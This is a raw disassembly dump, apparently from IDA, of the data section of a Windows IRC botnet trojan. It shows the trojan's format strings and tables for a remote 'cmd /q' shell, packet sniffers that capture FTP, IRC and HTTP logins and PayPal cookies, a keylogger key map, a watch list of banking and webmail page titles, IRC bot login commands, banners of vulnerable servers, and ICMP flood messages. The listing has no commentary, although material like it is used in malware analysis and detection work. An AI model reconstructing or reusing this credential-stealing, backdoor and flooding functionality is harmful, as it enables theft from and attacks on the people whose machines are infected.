XREF: sub_41036B:loc_410893o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o ; sub_41036B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_41036B+2E9o ; sub_41036B+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo aAm db 'AM',0 ; DATA XREF: sub_41036B+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_41036B+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D6Eo aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410CB8o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 unk_4351CC db 2Dh ; - ; DATA XREF: ___:00410E94o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_435214 db 2Dh ; - ; DATA XREF: ___:004110E6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_435254 db 2Dh ; - ; DATA XREF: ___:0041101Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_435298 db 2Dh ; - ; DATA XREF: ___:004113A9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4352C4 db 2Dh ; - ; DATA XREF: ___:00411382o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_4352F0 db 2Dh ; - ; DATA XREF: ___:00411362o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o align 4 unk_43532C db 2Dh ; - ; DATA XREF: ___:004112A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_435384 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_41141F+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o ; sub_4116D6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co align 4 dword_435684 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_4119F9+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0 align 10h dd 234032Dh, 6B636F73h, 3023473h aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dd 4000500h, 7868746Bh, 2 dup(0) dword_435848 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:0041260Fo dd 6E676953h, 6E4920h, 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 10h dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 10h dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 10h dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) dd 6F686159h, 216Fh, 1Eh dup(0) dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 10h dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 10h dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; С aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 4 dd 4 dup(0) dword_436448 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:00412661o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_436BB4 dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h ; DATA XREF: ___:0041262Do ; sub_41AF8F+EBo dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h dd 2973h, 252EBB2Eh, 2EAB2E73h, 0 dd offset off_4374C0 dd offset off_4374BC dd offset off_4374B8 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00436C54o align 4 off_4374B8 dd offset word_505446 ; DATA XREF: ___:00436C50o off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: ___:00436C4Co off_4374C0 dd offset word_544F42 ; DATA XREF: ___:00436C48o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o aOper db 'oper ',0 ; DATA XREF: sub_413003+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o ; sub_413079+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo align 4 a220 db '220 ',0 ; DATA XREF: sub_413079+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o align 4 unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_413694+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 